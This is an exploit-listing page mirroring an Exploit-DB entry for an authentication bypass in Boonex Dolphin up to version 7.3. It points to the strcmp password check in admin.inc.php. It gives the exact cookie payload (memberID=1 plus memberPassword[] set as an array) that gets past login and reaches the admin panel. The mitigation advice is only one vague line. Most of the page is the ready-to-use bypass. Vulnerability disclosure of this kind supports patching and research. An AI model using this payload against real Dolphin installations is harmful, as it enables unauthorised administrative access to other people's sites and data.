Boonex Dolphin all versoin - exploit.company

vendor:

Dolphin

by:

Saadat Ullah

8,8

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: Dolphin

Affected Version From: All versions <= 7.3

Affected Version To: All versions <= 7.3

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

Boonex Dolphin all versoin <= 7.3 Authentication Bypass

According to PHP documentation strcmp will compare strings, but what if we provide an array??? So, simple bypass is to put two cookies in browser memberID=1 memberPassword[]=blah --->array This will allow the attacker to bypass the authentication and can also enter in admin panel.

Mitigation:

Ensure that authentication is done properly and securely.

Source

Exploit-DB raw data:

# Exploit Title     : Boonex Dolphin all versoin <= 7.3 Authentication Bypass
# Exploit Author    : Saadat Ullah saadi_linux[@]rocketmail.com
# Software Link     : https://www.boonex.com
# Author HomePage   : http://security-geeks.blogspot.com
 

Proof of Concept

File: admin.inc.php
Line: 187
Code: (strcmp($aProfile['Password'], $passwd) != 0)
 
$passwd is equal to Cookie parameter memberpassword
 
Bug:
According to PHP documentation strcmp will compare strings, but what if we provide an array???
 
So, simple bypass is to put two cookies in browser
memberID=1
memberPassword[]=blah --->array
 
This will allow the attacker to bypass the authentication and can also enter in admin panel.
 
#Independent Pakistani Security Researcher